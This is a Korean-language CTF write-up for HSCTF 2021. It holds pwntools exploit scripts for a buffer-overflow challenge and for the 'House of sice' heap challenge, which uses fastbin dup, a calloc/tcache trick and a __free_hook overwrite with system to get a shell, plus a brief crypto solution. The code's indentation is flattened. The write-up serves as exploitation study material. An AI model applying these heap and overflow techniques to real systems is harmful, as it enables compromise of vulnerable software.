2021 HSCTF8

PWNABLE
stonks



바로 bof로 ret까지 덮고 ai_debug를 호출만 하면됨
from pwn import *
p = remote('stonks.hsc.tf',1337)
#p = process('./stonks')
e = ELF('./stonks')
payload = "A"*0x20
payload += "B"*0x8
payload += p64(0x401260) #assembly address
p.sendlineafter('symbol: ', payload)
p.interactive()
House of sice
glibc 2.31이라 DFG가 가능하며 2.26이후로 tcache가 생기는 바람에 tcache도 우회해야함
내가 생각했던 공격 방식은 tcache를 7개 채운후, fastbin에 chunk할당하여 fastbin dup을 이용 원하는 곳에 값을 쓰는것.
-> 실제로 접근 방법은 맞았으나 calloc을 호출할때 tcache_entry의 레이아웃이 완전히 변경되어 헷갈려서 오랜기간 삽질하다가 풀지 못한 문제.
실제로 내가 썼던 코드
from pwn import *
#p = remote('house-of-sice.hsc.tf',1337)
libc = ELF('./libc-2.31.so')
p = process(['./house_of_sice'])#, env={'LD_PRELOAD':'./libc-2.31.so'})
e = ELF('./house_of_sice')
one_gadget = [0xe6c7e, 0xe6c81, 0xe6c84] # 나는 __free_hook을 one_gadget으로 덮으려고 시도
gdb.attach(p)
def malloc(data):
p.sendlineafter('> ', str(1))
p.sendlineafter('> ', str(1))
p.sendlineafter('> ', data)
def free(index):
p.sendlineafter('> ', str(2))
p.sendlineafter('> ', str(index))
def malloc1(data):
p.sendlineafter('> ', str(1))
p.sendlineafter('> ', str(2))
p.sendlineafter('> ', data)
p.recvuntil('deet: ')
leak_system = int(p.recv(14), 16)
libc_base = leak_system - libc.sym.system
one = libc_base+ one_gadget[1]
free_hook = libc_base + libc.symbols['__free_hook']
for i in range(0, 9):
malloc("A")
#free 0~6 -> 7
for i in range(0, 8):
free(i)
# 여기까지는 얼추 맞음
malloc("a")
malloc("b")
malloc("c")
raw_input()
p.interactive()
실제로 write-up에 공개된 코드
#!/usr/bin/env python3
from pwn import *
HOST, PORT = 'house-of-sice.hsc.tf', 1337
exe = ELF('./house_of_sice')
libc = exe.libc
def get_proc():
if args.REMOTE:
io = remote(HOST, PORT)
else:
io = process(exe.path)
return io
io = get_proc()
gdbscript = """
b* system
continue
"""
gdb.attach(io)
io.recvuntil(b"deet: ")
system = int(io.recvline(), 16)
libc.address = system-libc.sym.system
success(f"libc.address: {hex(libc.address)}")
idx = -1
def buy_deet_malloc(long_data):
global idx
io.sendafter(b"> ", f"1")
io.sendafter(b"> ", f"1")
io.sendafter(b"> ", f"{long_data}")
idx += 1
return idx
def buy_deet_calloc(long_data):
global idx
io.sendafter(b"> ", f"1")
io.sendafter(b"> ", f"2")
io.sendafter(b"> ", f"{long_data}")
idx += 1
return idx
def sell_deet(idx):
io.sendafter(b"> ", f"2")
io.sendafter(b"> ", f"{idx}")
for _ in range(7):
buy_deet_malloc(0xdeadbeef)
a = buy_deet_malloc(0xdeadbeef)
b = buy_deet_malloc(0xdeadbeef)
#총 9개의 chunk 할당
raw_input()
#7개의 heap 해제
for idx in range(7):
sell_deet(idx)
#fastbin dup을 트리거
sell_deet(a)
sell_deet(b)
sell_deet(a)
raw_input()
buy_deet_malloc(0xdeadbeef) # tcache[7], -> freed, fd = 0xdeadbeef
raw_input()
buy_deet_malloc(0xdeadbeef) # tcache[6], -> freed, fd = 0xdeadbeef
raw_input()
bad_deet = buy_deet_calloc(libc.sym.__free_hook) # a에 __free_hook의 offset주소
raw_input()
buy_deet_malloc(u64(b"/bin/sh\x00")) # free의 인자로 들어감
buy_deet_malloc(libc.sym.system) # __free_hook의 offset 을 system의 offset으로 덮음
raw_input()
sell_deet(12) # 12는 여기서 인덱스
raw_input()
# hack the planet
io.interactive()
'''
1. Fill up tcache bins
2. Do fastbin-dup
3. Call calloc to dump fastbins into tcache
4. Overwrite __free_hook with system
5. Call free(/bin/sh)
'''
위 문제를 풀며 알게된 사실
calloc은 tcache를 사용하지 않으며 fastbin에 chunk가 있으면 그것을 가져다 씀.
참조 : https://blog.csdn.net/seaaseesa/article/details/105870247
Tcache Stashing Unlink Attack_seaaseesa的博客-CSDN博客
Tcache Stashing Unlink Attack Tcache Stashing Unlink Attack就是calloc的分配不从tcache bin里取chunk,calloc会遍历fastbin、small bin、large bin,如果在tcache bin里,对应的size的bin不为空,则会将这些bin的chunk采用头插法
blog.csdn.net
유사한 문제
HITCON CTF 2019 - ONE PUNCH MAN
CRYPTO

단순한 복호화 문제이다.
output의 문자에서 -18만 해주면됨
